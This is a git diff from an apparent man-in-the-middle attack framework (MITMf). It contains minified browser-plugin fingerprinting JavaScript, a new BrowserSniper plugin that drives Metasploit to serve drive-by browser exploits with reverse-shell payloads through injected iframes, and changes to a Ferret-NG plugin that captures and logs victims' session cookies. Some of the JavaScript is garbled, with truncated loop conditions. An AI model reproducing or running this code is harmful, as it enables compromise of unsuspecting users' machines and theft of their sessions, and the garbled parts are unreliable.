p,q;p=r.test(s)?PluginDetect.formatNum(PluginDetect.getNum(s)):0;if(p&&PluginDetect.compareNums(p,PluginDetect.formatNum("10"))>=0){q=p.split(PluginDetect.splitNumRegx);p=PluginDetect.formatNum("1,"+(parseInt(q[0],10)-3)+",0,"+q[1])}if(p&&(PluginDetect.compareNums(p,PluginDetect.formatNum("1,3"))<0||PluginDetect.compareNums(p,PluginDetect.formatNum("2"))>=0)){p=0}return p},query:function(){var t=this,s=a,r,p=0,q=t.hasRun||!s.navigator.mimeObj;t.hasRun=1;if(q){return t}if(!p||PluginDetect.dbug){r=t.getPlatformNum();if(r){p=r}}if(!p||PluginDetect.dbug){r=t.getPluginNum();if(r){p=r}}if(p){t.version=PluginDetect.formatNum(p)}return t}},applet:{codebase:{isMin:function(p){this.$$=a;return PluginDetect.codebase.isMin(this,p)},search:function(){this.$$=a;return PluginDetect.codebase.search(this)},DIGITMAX:[[15,128],[6,0,512],0,[1,5,2,256],0,[1,4,1,1],[1,4,0,64],[1,3,2,32]],DIGITMIN:[1,0,0,0],Upper:["999","10","5,0,20","1,5,0,20","1,4,1,20","1,4,1,2","1,4,1","1,4"],Lower:["10","5,0,20","1,5,0,20","1,4,1,20","1,4,1,2","1,4,1","1,4","0"],convert:[function(r,q){return q?[parseInt(r[0],10)>1?"99":parseInt(r[1],10)+3+"",r[3],"0","0"]:["1",parseInt(r[0],10)-3+"","0",r[1]]},function(r,q){return q?[r[1],r[2],r[3]+"0","0"]:["1",r[0],r[1],r[2].substring(0,r[2].length-1||1)]},0,function(r,q){return q?[r[0],r[1],r[2],r[3]+"0"]:[r[0],r[1],r[2],r[3].substring(0,r[3].length-1||1)]},0,1,function(r,q){return q?[r[0],r[1],r[2],r[3]+"0"]:[r[0],r[1],r[2],r[3].substring(0,r[3].length-1||1)]},1]},results:[[null,null],[null,null],[null,null],[null,null]],getResult:function(){var q=this,s=q.results,p,r=[];for(p=s.length-1;p>=0;p--){r=s[p];if(r[0]){break}}r=[].concat(r);return r},DummySpanTagHTML:0,HTML:[0,0,0,0],active:[0,0,0,0],DummyObjTagHTML:0,DummyObjTagHTML2:0,allowed:[1,1,1,1],VerifyTagsHas:function(q){var r=this,p;for(p=0;pp-1&&PluginDetect.isNum(r[p-1])){if(r[p-1]<0){r[p-1]=0}if(r[p-1]>3){r[p-1]=3}q.allowed[p]=r[p-1]}}q.allowed[0]=q.allowed[3];}},setVerifyTagsArray:function(r){var q=this,p=a;if(p.getVersionDone===null){q.saveAsVerifyTagsArray(p.getVerifyTagsDefault())}if(PluginDetect.dbug){q.saveAsVerifyTagsArray([3,3,3])}else{if(r){q.saveAsVerifyTagsArray(r)}}},isDisabled:{single:function(q){var p=this;if(p.all()){return 1}if(q==1){return !PluginDetect.DOM.isEnabled.objectTag()}if(q==2){return p.AppletTag()}if(q===0){return PluginDetect.codebase.isDisabled()}if(q==3){return !PluginDetect.DOM.isEnabled.objectTagUsingActiveX()}return 1},all_:null,all:function(){var r=this,t=a,q=t.navigator,p,s=PluginDetect.browser;if(r.all_===null){if((s.isOpera&&PluginDetect.compareNums(s.verOpera,"13,0,0,0")<0&&!q.javaEnabled())||(r.AppletTag()&&!PluginDetect.DOM.isEnabled.objectTag())||(!q.mimeObj&&!s.isIE)){p=1}else{p=0}r.all_=p}return r.all_},AppletTag:function(){var q=a,p=q.navigator;return PluginDetect.browser.isIE?!p.javaEnabled():0},VerifyTagsDefault_1:function(){var q=PluginDetect.browser,p=1;if(q.isIE&&!q.ActiveXEnabled){p=0}if((q.isIE&&q.verIE<9)||(q.verGecko&&PluginDetect.compareNums(q.verGecko,PluginDetect.formatNum("2"))<0)||(q.isSafari&&(!q.verSafari||PluginDetect.compareNums(q.verSafari,PluginDetect.formatNum("4"))<0))||(q.isOpera&&PluginDetect.compareNums(q.verOpera,PluginDetect.formatNum("11"))<0)){p=0}return p}},can_Insert_Query:function(s){var q=this,r=q.results[0][0],p=q.getResult()[0];if(q.HTML[s]||(s===0&&r!==null&&!q.isRange(r))||(s===0&&p&&!q.isRange(p))){return 0}return !q.isDisabled.single(s)},can_Insert_Query_Any:function(){var q=this,p;for(p=0;p0||!r.isRange(p));if(!r.can_Insert_Query(s)||t[s]===0){return 0}if(t[s]==3||(t[s]==2.8&&!p)){return 1}if(!q.nonAppletDetectionOk(q.version0)){if(t[s]==2||(t[s]==1&&!p)){return 1}}return 0},should_Insert_Query_Any:function(){var q=this,p;for(p=0;p]/).test(p||"")?(p.charAt(0)==">"?1:-1):0},setRange:function(q,p){return(q?(q>0?">":"<"):"")+(PluginDetect.isString(p)?p:"")},insertJavaTag:function(z,w,p,s,D){var t=a,v="A.class",A=PluginDetect.file.getValid(t),y=A.name+A.ext,x=A.path;var u=["archive",y,"code",v],E=(s?["width",s]:[]).concat(D?["height",D]:[]),r=["mayscript","true"],C=["scriptable","true","codebase_lookup","false"].concat(r),B=t.navigator,q=!PluginDetect.browser.isIE&&B.mimeObj&&B.mimeObj.type?B.mimeObj.type:t.mimeType[0];if(z==1){return PluginDetect.browser.isIE?PluginDetect.DOM.insert("object",["type",q].concat(E),["codebase",x].concat(u).concat(C),p,t,0,w):PluginDetect.DOM.insert("object",["type",q].concat(E),["codebase",x].concat(u).concat(C),p,t,0,w)}if(z==2){return PluginDetect.browser.isIE?PluginDetect.DOM.insert("applet",["alt",p].concat(r).concat(u).concat(E),["codebase",x].concat(C),p,t,0,w):PluginDetect.DOM.insert("applet",["codebase",x,"alt",p].concat(r).concat(u).concat(E),[].concat(C),p,t,0,w)}if(z==3){return PluginDetect.browser.isIE?PluginDetect.DOM.insert("object",["classid",t.classID].concat(E),["codebase",x].concat(u).concat(C),p,t,0,w):PluginDetect.DOM.insert()}if(z==4){return PluginDetect.DOM.insert("embed",["codebase",x].concat(u).concat(["type",q]).concat(C).concat(E),[],p,t,0,w)}return PluginDetect.DOM.insert()},insertIframe:function(p){return PluginDetect.DOM.iframe.insert(99,p)},insert_Query_Any:function(w){var q=this,r=a,y=PluginDetect.DOM,u=q.results,x=q.HTML,p=y.altHTML,t,s,v=PluginDetect.file.getValid(r);if(q.should_Insert_Query(0)){if(r.OTF<2){r.OTF=2}u[0]=[0,0];t=w?q.codebase.isMin(w):q.codebase.search();if(t){u[0][0]=w?q.setRange(t,w):t}q.active[0]=t?1.5:-1}if(!v){return q.getResult()}if(!q.DummySpanTagHTML){s=q.insertIframe("applet.DummySpanTagHTML");q.DummySpanTagHTML=y.insert("",[],[],p,0,0,s);y.iframe.close(s)}if(q.should_Insert_Query(1)){if(r.OTF<2){r.OTF=2}s=q.insertIframe("applet.HTML[1]");x[1]=q.insertJavaTag(1,s,p);y.iframe.close(s);u[1]=[0,0];q.query(1)}if(q.should_Insert_Query(2)){if(r.OTF<2){r.OTF=2}s=q.insertIframe("applet.HTML[2]");x[2]=q.insertJavaTag(2,s,p);y.iframe.close(s);u[2]=[0,0];q.query(2)}if(q.should_Insert_Query(3)){if(r.OTF<2){r.OTF=2}s=q.insertIframe("applet.HTML[3]");x[3]=q.insertJavaTag(3,s,p);y.iframe.close(s);u[3]=[0,0];q.query(3)}if(y.isEnabled.objectTag()){if(!q.DummyObjTagHTML&&(x[1]||x[2])){s=q.insertIframe("applet.DummyObjTagHTML");q.DummyObjTagHTML=y.insert("object",["type",r.mimeType_dummy],[],p,0,0,s);y.iframe.close(s)}if(!q.DummyObjTagHTML2&&x[3]){s=q.insertIframe("applet.DummyObjTagHTML2");q.DummyObjTagHTML2=y.insert("object",["classid",r.classID_dummy],[],p,0,0,s);y.iframe.close(s)}}r.NOTF.init();return q.getResult()}},NOTF:{count:0,count2:0,countMax:25,intervalLength:250,init:function(){var q=this,p=a;if(p.OTF<3&&q.shouldContinueQuery()){p.OTF=3;PluginDetect.ev.setTimeout(q.onIntervalQuery,q.intervalLength);}},allHTMLloaded:function(){var r=a.applet,q,p=[r.DummySpanTagHTML,r.DummyObjTagHTML,r.DummyObjTagHTML2].concat(r.HTML);for(q=0;q2){return p}}else{t.count2=t.count}for(q=0;q=2||(r.allowed[q]==1&&!r.getResult()[0]))&&(!t.count||t.isAppletActive(q)>=0)){p=1}}}return p},isJavaActive:function(s){var u=this,r=a,p,q,t=-9;for(p=0;pt){t=q}}return t},isAppletActive:function(t,u){var v=this,q=a,A=q.navigator,p=q.applet,w=p.HTML[t],s=p.active,z,r=0,y,B=s[t];if(u||B>=1.5||!w||!w.span()){return B}y=PluginDetect.DOM.getTagStatus(w,p.DummySpanTagHTML,p.DummyObjTagHTML,p.DummyObjTagHTML2,v.count);for(z=0;z0){r=1}}if(y!=1){B=y}else{if(PluginDetect.browser.isIE||(q.version0&&A.javaEnabled()&&A.mimeObj&&(w.tagName=="object"||r))){B=1}else{B=0}}s[t]=B;return B},onIntervalQuery:function(){var q=a.NOTF,p;q.count++;if(a.OTF==3){p=q.queryAllApplets();if(!q.shouldContinueQuery()){q.queryCompleted(p)}}if(a.OTF==3){PluginDetect.ev.setTimeout(q.onIntervalQuery,q.intervalLength)}},queryAllApplets:function(){var t=this,s=a,r=s.applet,q,p;for(q=0;q=4){return}q.OTF=4;r.isJavaActive();q.setPluginStatus(p[0],p[1],0);PluginDetect.ev.callArray(q.DoneHndlrs);}}};PluginDetect.addPlugin("java",a);var m={getVersion:function(){var r=this,p=null,q;if((!q||PluginDetect.dbug)&&r.nav.query().installed){q=1}if((!p||PluginDetect.dbug)&&r.nav.query().version){p=r.nav.version}if((!q||PluginDetect.dbug)&&r.axo.query().installed){q=1}if((!p||PluginDetect.dbug)&&r.axo.query().version){p=r.axo.version}r.installed=p?1:(q?0:-1);r.version=PluginDetect.formatNum(p)},nav:{hasRun:0,installed:0,version:null,mimeType:"application/x-devalvrx",query:function(){var s=this,p,r,q=s.hasRun||!PluginDetect.hasMimeType(s.mimeType);s.hasRun=1;if(q){return s}r=PluginDetect.pd.findNavPlugin({find:"DevalVR.*Plug-?in",mimes:s.mimeType,plugins:"DevalVR 3D Plugin"});if(r&&(/Plug-?in(.*)/i).test(r.description||"")){p=PluginDetect.getNum(RegExp.$1)}if(r){s.installed=1}if(p){s.version=p}return s}},axo:{hasRun:0,installed:0,version:null,progID:["DevalVRXCtrl.DevalVRXCtrl","DevalVRXCtrl.DevalVRXCtrl.1"],classID:"clsid:5D2CF9D0-113A-476B-986F-288B54571614",query:function(){var s=this,v=m,q,p,u,r,t=s.hasRun;s.hasRun=1;if(t){return s}for(p=0;p=30226){p[0]="2"}q=p.join(",")}if(q){t.version=q}return t}},axo:{hasRun:0,installed:0,version:null,progID:"AgControl.AgControl",maxdigit:[20,10,10,100,100,10],mindigit:[0,0,0,0,0,0],IsVersionSupported:function(s,q){var p=this;try{return p.testVersion?PluginDetect.compareNums(PluginDetect.formatNum(p.testVersion.join(",")),PluginDetect.formatNum(q.join(",")))>=0:s.IsVersionSupported(p.format(q))}catch(r){}return 0},format:function(q){var p=this;return(q[0]+"."+q[1]+"."+q[2]+p.make2digits(q[3])+p.make2digits(q[4])+"."+q[5])},make2digits:function(p){return(p<10?"0":"")+p+""},query:function(){var r=this,q,v,s=r.hasRun;r.hasRun=1;if(s){return r}v=PluginDetect.getAXO(r.progID);if(v){r.installed=1}if(v&&r.IsVersionSupported(v,r.mindigit)){var p=[].concat(r.mindigit),u,t=0;for(q=0;q1&&u<20){u++;t++;p[q]=Math.round((r.maxdigit[q]+r.mindigit[q])/2);if(r.IsVersionSupported(v,p)){r.mindigit[q]=p[q]}else{r.maxdigit[q]=p[q]}}p[q]=r.mindigit[q]}r.version=r.format(p);}return r}}};PluginDetect.addPlugin("silverlight",h);var f={compareNums:function(s,r){var A=s.split(PluginDetect.splitNumRegx),y=r.split(PluginDetect.splitNumRegx),w,q,p,v,u,z;for(w=0;w0)?RegExp.$2.charCodeAt(0):-1;z=/([\d]+)([a-z]?)/.test(y[w]);p=parseInt(RegExp.$1,10);u=(w==2&&RegExp.$2.length>0)?RegExp.$2.charCodeAt(0):-1;if(q!=p){return(q>p?1:-1)}if(w==2&&v!=u){return(v>u?1:-1)}}return 0},setPluginStatus:function(r,p,s){var q=this;q.installed=p?1:(s?(s>0?0.7:-0.1):(r?0:-1));if(p){q.version=PluginDetect.formatNum(p)}q.getVersionDone=q.installed==0.7||q.installed==-0.1?0:1;},getVersion:function(s){var t=this,r,p=null,q;if((!r||PluginDetect.dbug)&&t.nav.query().installed){r=1}if((!p||PluginDetect.dbug)&&t.nav.query().version){p=t.nav.version}if((!r||PluginDetect.dbug)&&t.axo.query().installed){r=1}if((!p||PluginDetect.dbug)&&t.axo.query().version){p=t.axo.version}if(!p||PluginDetect.dbug){q=t.codebase.isMin(s);if(q){t.setPluginStatus(0,0,q);return}}if(!p||PluginDetect.dbug){q=t.codebase.search();if(q){r=1;p=q}}t.setPluginStatus(r,p,0)},nav:{hasRun:0,installed:0,version:null,mimeType:["application/x-vlc-plugin","application/x-google-vlc-plugin","application/mpeg4-muxcodetable","application/x-matroska","application/xspf+xml","video/divx","video/webm","video/x-mpeg","video/x-msvideo","video/ogg","audio/x-flac","audio/amr","audio/amr"],find:"VLC.*Plug-?in",find2:"VLC|VideoLAN",avoid:"Totem|Helix",plugins:["VLC Web Plugin","VLC Multimedia Plug-in","VLC Multimedia Plugin","VLC multimedia plugin"],query:function(){var s=this,p,r,q=s.hasRun||!PluginDetect.hasMimeType(s.mimeType);s.hasRun=1;if(q){return s}r=PluginDetect.pd.findNavPlugin({find:s.find,avoid:s.avoid,mimes:s.mimeType,plugins:s.plugins});if(r){s.installed=1;if(r.description){p=PluginDetect.getNum(r.description+"","[\\d][\\d\\.]*[a-z]*")}if(p){s.version=p}}return s}},axo:{hasRun:0,installed:0,version:null,progID:"VideoLAN.VLCPlugin",query:function(){var q=this,s,p,r=q.hasRun;q.hasRun=1;if(r){return q}s=PluginDetect.getAXO(q.progID);if(s){q.installed=1;p=PluginDetect.getNum(PluginDetect.pd.getPROP(s,"VersionInfo"),"[\\d][\\d\\.]*[a-z]*");if(p){q.version=p}}return q}},codebase:{classID:"clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921",isMin:function(p){this.$$=f;return PluginDetect.codebase.isMin(this,p)},search:function(){this.$$=f;return PluginDetect.codebase.search(this)},DIGITMAX:[[11,11,16]],DIGITMIN:[0,0,0,0],Upper:["999"],Lower:["0"],convert:[1]}};PluginDetect.addPlugin("vlc",f);var c={OTF:null,setPluginStatus:function(){var p=this,B=p.OTF,v=p.nav.detected,x=p.nav.version,z=p.nav.precision,C=z,u=x,s=v>0;var H=p.axo.detected,r=p.axo.version,w=p.axo.precision,D=p.doc.detected,G=p.doc.version,t=p.doc.precision,E=p.doc2.detected,F=p.doc2.version,y=p.doc2.precision;u=F||u||r||G;C=y||C||w||t;s=E>0||s||H>0||D>0;u=u||null;p.version=PluginDetect.formatNum(u);p.precision=C;var q=-1;if(B==3){q=p.version?0.5:-0.5}else{if(u){q=1}else{if(s){q=0}else{if(H==-0.5||D==-0.5){q=-0.15}else{if(PluginDetect.browser.isIE&&(!PluginDetect.browser.ActiveXEnabled||PluginDetect.browser.ActiveXFilteringEnabled)){q=-1.5}}}}}p.installed=q;if(p.getVersionDone!=1){var A=1;if((p.verify&&p.verify.isEnabled())||p.installed==0.5||p.installed==-0.5){A=0}else{if(p.doc2.isDisabled()==1){A=0}}p.getVersionDone=A}},getVersion:function(s,r){var p=this,q=0,t=p.verify;if(p.getVersionDone===null){p.OTF=0;if(t){t.init()}}PluginDetect.file.save(p,".pdf",r);if(p.getVersionDone===0){p.doc2.insertHTMLQuery();p.setPluginStatus();return}if((!q||PluginDetect.dbug)&&p.nav.query().version){q=1}if((!q||PluginDetect.dbug)&&p.axo.query().version){q=1}if((!q||PluginDetect.dbug)&&p.doc.query().version){q=1}if(1){p.doc2.insertHTMLQuery()}p.setPluginStatus()},getPrecision:function(v,u,t){if(PluginDetect.isString(v)){u=u||"";t=t||"";var q,s="\\d+",r="[\\.]",p=[s,s,s,s];for(q=4;q>0;q--){if((new RegExp(u+p.slice(0,q).join(r)+t)).test(v)){return q}}}return 0},nav:{detected:0,version:null,precision:0,mimeType:["application/pdf","application/vnd.adobe.pdfxml"],find:"Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in",plugins:["Adobe Acrobat","Adobe Acrobat and Reader Plug-in","Adobe Reader Plugin"],query:function(){var r=this,q,p=null;if(r.detected||!PluginDetect.hasMimeType(r.mimeType)){return r}q=PluginDetect.pd.findNavPlugin({find:r.find,mimes:r.mimeType,plugins:r.plugins});r.detected=q?1:-1;if(q){p=PluginDetect.getNum(q.description)||PluginDetect.getNum(q.name);p=PluginDetect.getPluginFileVersion(q,p);if(!p){p=r.attempt3()}if(p){r.version=p;r.precision=c.getPrecision(p)}}return r},attempt3:function(){var p=null;if(PluginDetect.OS==1){if(PluginDetect.hasMimeType("application/vnd.adobe.pdfxml")){p="9"}else{if(PluginDetect.hasMimeType("application/vnd.adobe.x-mars")){p="8"}else{if(PluginDetect.hasMimeType("application/vnd.adobe.xfdf")){p="6"}}}}return p}},activexQuery:function(w){var u="",t,q,s,r,p={precision:0,version:null};try{if(w){u=w.GetVersions()+"";}}catch(v){}if(u&&PluginDetect.isString(u)){t=/\=\s*[\d\.]+/g;r=u.match(t);if(r){for(q=0;q0)){p.version=s}}p.precision=c.getPrecision(u,"\\=\\s*")}}return p},axo:{detected:0,version:null,precision:0,progID:["AcroPDF.PDF","AcroPDF.PDF.1","PDF.PdfCtrl","PDF.PdfCtrl.5","PDF.PdfCtrl.1"],progID_dummy:"AcroDUMMY.DUMMY",query:function(){var t=this,q=c,u,v,s,r,p,w;if(t.detected){return t}t.detected=-1;v=PluginDetect.getAXO(t.progID_dummy);if(!v){w=PluginDetect.errObj}for(p=0;p0||w?1:(q==-0.1||q==-0.5?-0.5:-1);if(w){y.version=w}if(t){y.precision=t}return y}},doc2:{detected:0,version:null,precision:0,classID:"clsid:CA8A9780-280D-11CF-A24D-444553540000",mimeType:"application/pdf",HTML:0,count:0,count2:0,time2:0,intervalLength:50,maxCount:150,isDisabled:function(){var r=this,v=c,u=v.axo,p=v.nav,x=v.doc,w,t,q=0,s;if(r.HTML){q=2}else{if(PluginDetect.dbug){}else{if(!PluginDetect.DOM.isEnabled.objectTagUsingActiveX()){q=2}else{w=(p?p.version:0)||(u?u.version:0)||(x?x.version:0)||0;t=(p?p.precision:0)||(u?u.precision:0)||(x?x.precision:0)||0;if(!w||!t||t>2||PluginDetect.compareNums(PluginDetect.formatNum(w),PluginDetect.formatNum("11"))<0){q=2}}}}if(q<2){s=PluginDetect.file.getValid(v);if(!s||!s.full){q=1}}return q},handlerSet:0,onMessage:function(){var p=this;return function(q){if(p.version){return}p.detected=1;if(PluginDetect.isArray(q)){q=q[0]}q=PluginDetect.getNum(q+"");if(q){if(!(/[.,_]/).test(q)){q+="."}q+="00000";if((/^(\d+)[.,_](\d)(\d\d)(\d\d)/).test(q)){q=RegExp.$1+","+RegExp.$2+","+RegExp.$3+","+RegExp.$4}p.version=PluginDetect.formatNum(q);p.precision=3;c.setPluginStatus()}}},isDefinedMsgHandler:function(q,r){try{return q?q.messageHandler!==r:0}catch(p){}return 1},queryObject:function(){var r=this,s=r.HTML,q=s?s.obj():0;if(!q){return}if(!r.handlerSet&&r.isDefinedMsgHandler(q)){try{q.messageHandler={onMessage:r.onMessage()}}catch(p){}r.handlerSet=1;r.count2=r.count;r.time2=(new Date()).getTime()}if(!r.detected){if(r.count>3&&!r.handlerSet){r.detected=-1}else{if(r.time2&&r.count-r.count2>=r.maxCount&&(new Date()).getTime()-r.time2>=r.intervalLength*r.maxCount){r.detected=-0.5}}}if(r.detected){if(r.detected!=-1){}}},insertHTMLQuery:function(){var u=this,p=c,r=PluginDetect.DOM.altHTML,q,s,t=0;if(u.isDisabled()){return u}if(p.OTF<2){p.OTF=2}q=PluginDetect.file.getValid(p).full;s=PluginDetect.DOM.iframe.insert(0,"Adobe Reader");PluginDetect.DOM.iframe.write(s,'"""
-
- return payload
+ plugindetect = open("./core/javascript/plugindetect.js", 'r').read()
+ return ''
diff --git a/plugins/BrowserSniper.py b/plugins/BrowserSniper.py
new file mode 100644
index 0000000..0d356a8
--- /dev/null
+++ b/plugins/BrowserSniper.py
@@ -0,0 +1,222 @@
+#!/usr/bin/env python2.7
+
+# Copyright (c) 2014-2016 Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+import string
+import random
+import sys
+import logging
+
+from time import sleep
+from core.msfrpc import Msfrpc
+from core.utils import SystemConfig
+from plugins.plugin import Plugin
+from plugins.BrowserProfiler import BrowserProfiler
+
+mitmf_logger = logging.getLogger("mitmf")
+
+class BrowserSniper(BrowserProfiler, Plugin):
+ name = "BrowserSniper"
+ optname = "browsersniper"
+ desc = "Performs drive-by attacks on clients with out-of-date browser plugins"
+ version = "0.4"
+ has_opts = False
+
+ def initialize(self, options):
+ self.options = options
+ self.msfip = SystemConfig.getIP(options.interface)
+ self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit
+
+ msfcfg = self.config['MITMf']['Metasploit']
+ self.rpcip = msfcfg['rpcip']
+ self.rpcpass = msfcfg['rpcpass']
+
+ #Initialize the BrowserProfiler plugin
+ BrowserProfiler.initialize(self, options)
+
+ try:
+ self.msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary
+ self.msf.login('msf', self.rpcpass)
+ version = self.msf.call('core.version')['version']
+ self.tree_info.append("Connected to Metasploit v{}".format(version))
+ except Exception:
+ sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server")
+
+ def startThread(self, options):
+ self.snipe()
+
+ def onConfigChange(self):
+ self.initialize(self.options)
+
+ def _genRandURL(self): #generates a random url for our exploits (urls are generated with a / at the beginning)
+ return "/" + ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, 5))
+
+ def _getRandPort(self):
+ return random.randint(1000, 65535)
+
+ def _setupExploit(self, exploit, msfport):
+
+ rand_url = self._genRandURL()
+ rand_port = self._getRandPort()
+ #generate the command string to send to the virtual console
+ #new line character very important as it simulates a user pressing enter
+ cmd = "use exploit/{}\n".format(exploit)
+ cmd += "set SRVPORT {}\n".format(msfport)
+ cmd += "set URIPATH {}\n".format(rand_url)
+ cmd += "set PAYLOAD generic/shell_reverse_tcp\n"
+ cmd += "set LHOST {}\n".format(self.msfip)
+ cmd += "set LPORT {}\n".format(rand_port)
+ cmd += "set ExitOnSession False\n"
+ cmd += "exploit -j\n"
+
+ #Create a virtual console
+ console_id = self.msf.call('console.create')['id']
+
+ #write the cmd to the newly created console
+ self.msf.call('console.write', [console_id, cmd])
+
+ return (rand_url, rand_port)
+
+ def _compat_system(self, os_config, brw_config):
+ os = self.output['useragent'][0].lower()
+ browser = self.output['useragent'][1].lower()
+
+ if (os_config == 'any') and (brw_config == 'any'):
+ return True
+
+ if (os_config == 'any') and (brw_config in browser):
+ return True
+
+ if (os_config in os) and (brw_config == 'any'):
+ return True
+
+ if (os_config in os) and (brw_config in browser):
+ return True
+
+ return False
+
+ def getExploits(self):
+ exploits = list()
+ vic_ip = self.output['ip']
+
+ #First get the client's info
+ java = None
+ if (self.output['java_installed'] == '1') and (self.output['java_version'] != 'null'):
+ java = self.output['java_version']
+
+ flash = None
+ if (self.output['flash_installed'] == '1') and (self.output['flash_version'] != 'null'):
+ flash = self.output['flash_version']
+
+ mitmf_logger.debug("{} [BrowserSniper] Java installed: {} | Flash installed: {}".format(vic_ip, java, flash))
+
+ for exploit, details in self.config['BrowserSniper'].iteritems():
+
+ if self._compat_system(details['OS'].lower(), details['Browser'].lower()):
+
+ if details['Type'].lower() == 'browservuln':
+ exploits.append(exploit)
+
+ elif details['Type'].lower() == 'pluginvuln':
+
+ if details['Plugin'].lower() == 'java':
+ if (java is not None) and (java in details['PluginVersions']):
+ exploits.append(exploit)
+
+ elif details['Plugin'].lower() == 'flash':
+
+ if (flash is not None) and (java in details['PluginVersions']):
+ exploits.append(exploit)
+
+ mitmf_logger.debug("{} [BrowserSniper] Compatible exploits: {}".format(vic_ip, exploits))
+ return exploits
+
+ def injectAndPoll(self, ip, inject_payload): #here we inject an iframe to trigger the exploit and check for resulting sessions
+
+ #inject iframe
+ mitmf_logger.info("{} [BrowserSniper] Now injecting iframe to trigger exploits".format(ip))
+ self.html_payload = inject_payload #temporarily changes the code that the Browserprofiler plugin injects
+
+ #The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds
+ #Will also make sure the shell actually came from the box that we targeted
+ #probably a much cleaner way of doing this :/
+ mitmf_logger.info('{} [BrowserSniper] Waiting for ze shellz, sit back and relax...'.format(ip))
+ exit_loop = False
+ poll_n = 1
+ while poll_n <= 30:
+
+ if exit_loop is True:
+ break
+
+ sessions = self.msf.call('session.list')
+ if sessions:
+ for k, v in sessions.iteritems():
+ if ip in sessions[k]['tunnel_peer']:
+ mitmf_logger.info("{} [BrowserSniper] Client haz been 0wn3d! Enjoy!".format(ip))
+ self.sploited_ips.append(ip)
+ self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped
+ exit_loop = True
+ break
+
+ poll_n += 1
+ sleep(2)
+
+ if exit_loop is False: #We didn't get a shell :(
+ mitmf_logger.info("{} [BrowserSniper] Session not established after 60 seconds".format(ip))
+
+ self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
+
+ def snipe(self):
+ while True:
+ if self.output:
+ vic_ip = self.output['ip']
+ msfport = self.config['MITMf']['Metasploit']['msfport']
+ exploits = self.getExploits()
+
+ if not exploits:
+ if vic_ip not in self.sploited_ips:
+ mitmf_logger.info('{} [BrowserSniper] Client not vulnerable to any exploits, adding to blacklist'.format(vic_ip))
+ self.sploited_ips.append(vic_ip)
+ self.black_ips = self.sploited_ips
+
+ elif exploits and (vic_ip not in self.sploited_ips):
+ mitmf_logger.info("{} [BrowserSniper] Client vulnerable to {} exploits".format(vic_ip, len(exploits)))
+
+ inject_payload = ''
+
+ for exploit in exploits:
+
+ jobs = self.msf.call('job.list') #get running jobs
+ if jobs:
+ for pid, name in jobs.iteritems():
+ info = self.msf.call('job.info', [pid])
+ if (exploit in info['name']):
+ mitmf_logger.info('{} [BrowserSniper] {} already started'.format(vic_ip, exploit))
+ url = info['uripath'] #get the url assigned to the exploit
+ inject_payload += "".format(self.msfip, msfport, url)
+ else:
+ url, port = self._setupExploit(exploit, msfport)
+ inject_payload += "".format(self.msfip, port, url)
+ else:
+ url, port = self._setupExploit(exploit, msfport)
+ inject_payload += "".format(self.msfip, port, url)
+
+ self.injectAndPoll(vic_ip, inject_payload)
+
+ sleep(1)
diff --git a/plugins/FerretNG.py b/plugins/FerretNG.py
index 9512e62..612dcbf 100644
--- a/plugins/FerretNG.py
+++ b/plugins/FerretNG.py
@@ -20,20 +20,20 @@
import logging
+from datetime import datetime
from plugins.plugin import Plugin
from twisted.internet import reactor
from twisted.web import http
from twisted.internet import reactor
-from core.ferretNG.FerretProxy import FerretProxy
-from core.ferretNG.URLMonitor import URLMonitor
+from core.ferretng.FerretProxy import FerretProxy
+from core.ferretng.URLMonitor import URLMonitor
mitmf_logger = logging.getLogger("mitmf")
class FerretNG(Plugin):
name = "Ferret-NG"
- optname = "ferret"
+ optname = "ferretng"
desc = "Captures cookies and starts a proxy that will feed them to connected clients"
- tree_output = list()
version = "0.1"
has_opts = True
@@ -42,14 +42,16 @@ class FerretNG(Plugin):
self.options = options
self.ferret_port = 10010 or options.ferret_port
- self.tree_output.append("Listening on port {}".format(self.ferret_port))
+ self.tree_info.append("Listening on port {}".format(self.ferret_port))
def clientRequest(self, request):
if 'cookie' in request.headers:
host = request.headers['host']
cookie = request.headers['cookie']
- mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(request.client.getClientIP(), host, cookie))
- URLMonitor.getInstance().cookies[host] = cookie
+ client = request.client.getClientIP()
+ if host not in URLMonitor.getInstance().cookies:
+ mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie))
+ URLMonitor.getInstance().cookies[client] = {'host': host, 'cookie': cookie}
def pluginReactor(self, StrippingProxy):
FerretFactory = http.HTTPFactory(timeout=10)
@@ -57,4 +59,11 @@ class FerretNG(Plugin):
reactor.listenTCP(self.ferret_port, FerretFactory)
def pluginOptions(self, options):
- options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG on (default 10010)')
+ options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG proxy on (default 10010)')
+ options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from log file')
+
+ def finish(self):
+ mitmf_logger.info("[Ferret-NG] Writing cookies to log file")
+ with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))) as cookie_file:
+ cookie_file.write(URLMonitor.getInstance().cookies)
+ cookie_file.close()
\ No newline at end of file
diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py
index 54bf08a..54ccad6 100644
--- a/plugins/FilePwn.py
+++ b/plugins/FilePwn.py
@@ -61,6 +61,7 @@ import logging
import shutil
import random
import string
+import threading
